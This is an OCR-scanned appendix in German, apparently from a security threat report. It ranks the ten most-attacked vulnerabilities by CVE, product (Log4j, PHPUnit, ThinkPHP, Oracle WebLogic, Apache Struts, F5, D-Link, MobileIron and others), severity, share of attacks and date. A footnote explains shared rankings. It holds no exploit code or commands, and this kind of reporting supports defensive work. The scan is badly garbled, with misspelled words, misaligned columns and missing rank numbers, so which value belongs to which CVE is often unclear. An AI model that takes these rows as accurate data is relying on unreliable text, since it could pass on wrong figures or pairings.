: CVE-2021-44228 QPEChEe Logdj Remote kqitisch o1 09122021 Codeaustin
CVE-2021- ode Execution . , emote-Codeausfiihrung
45046 Vulnerability Kritisch 09.12.2021
D-Link DCS-2530L
Unauthenticated
2 CVE-2020- Information Hoch 7,19 02.09.2020 Offenlegungvon
25078 . Informationen
Disclosure
Vulnerability
PHPUnNit Remote
3 CVE-2017-9841 Code Execution Kritisch 6,11 27.06.2017 Remote-Codeausfiihrung
Vulnerability
ThinkPHP Remote
4 CVE-2019-9082 Code Execution Kritisch 3,26 10.12.2018 Remote-Codeausfiihrung
Vulnerability
Oracle WebLogic
CVE-2020-14882 Kritisch 20.10.2020
5 SR Remo'fe 2,85 Remote-Codeausfiihrung
CVE-2020-14883 Code Execution Hoch 20.10.2020
Vulnerability
Apache Struts
CVE-2017-5638 _ Kritisch 07.03.2017
6 Content Typfa Remote . 2,12 Remote-Codeausfiihrung
CVE-2019-0230 Code Execution Kritisch 14.08.2020
Vulnerability
F5 Traffic
Management User
CVE-2020-5902 Interface Remote Kritisch 30.06.2020
Code Execution
Vulnerability
7 1,81 Remote-Codeausfiihrung
ForgeRock
CVE-2021-35464 OpenAM Insecure Kritisch 29.06.2021
Deserialization
Vulnerability
D-Link Routers
CVE-2018-19986 Kritisch 13.05.2019
8 Remo'rg Command 1,73 Remote-Codeausfiihrung
CVE-2019-19597 Execution Hoch 04.12.2019
Vulnerability
Oracle WebLogic
CVE-2019-2725 - Kritisch 23.04.2019
€ wis9-async Remofe . 1,33 Remote-Codeausfiihrung
CVE-2019-2729  Code Execution Kritisch 19.06.2019
Vulnerability
Mobilelron Core and
CVE-2020-15505 Kritisch 06.07.2020
10 Sl L]y R_emo're 0,90 Remote-Codeausfiihrung
CVE-2020-15506 Code Execution Kritisch 06.07.2020

Vulnerability

* CVE-2020-5902 und CVE-2021-35464 teilen sich Rang 7 in diesem Anhang, da beide

aufgrund des Fehlers bei der Pfadnormalisierung in Apache gemeldet wurden und miteinander
verkniipft sind. In den anderen Zeilen, in denen mehrere CVEs aufgefiihrt werden, sind sich diese
Sicherheitsliicken sehr dhnlich und betreffen denselben Anbieter. Manchmal bendtigen wir nur
eine Threat-Prevention-Signatur, um mehrere dhnliche CVE-Angriffe zu erkennen.
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Anhang 2: Geografische Verteilung der Angriffe
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Anhang 3: Potenziell relevante CVEs fiir 2022 und 2023
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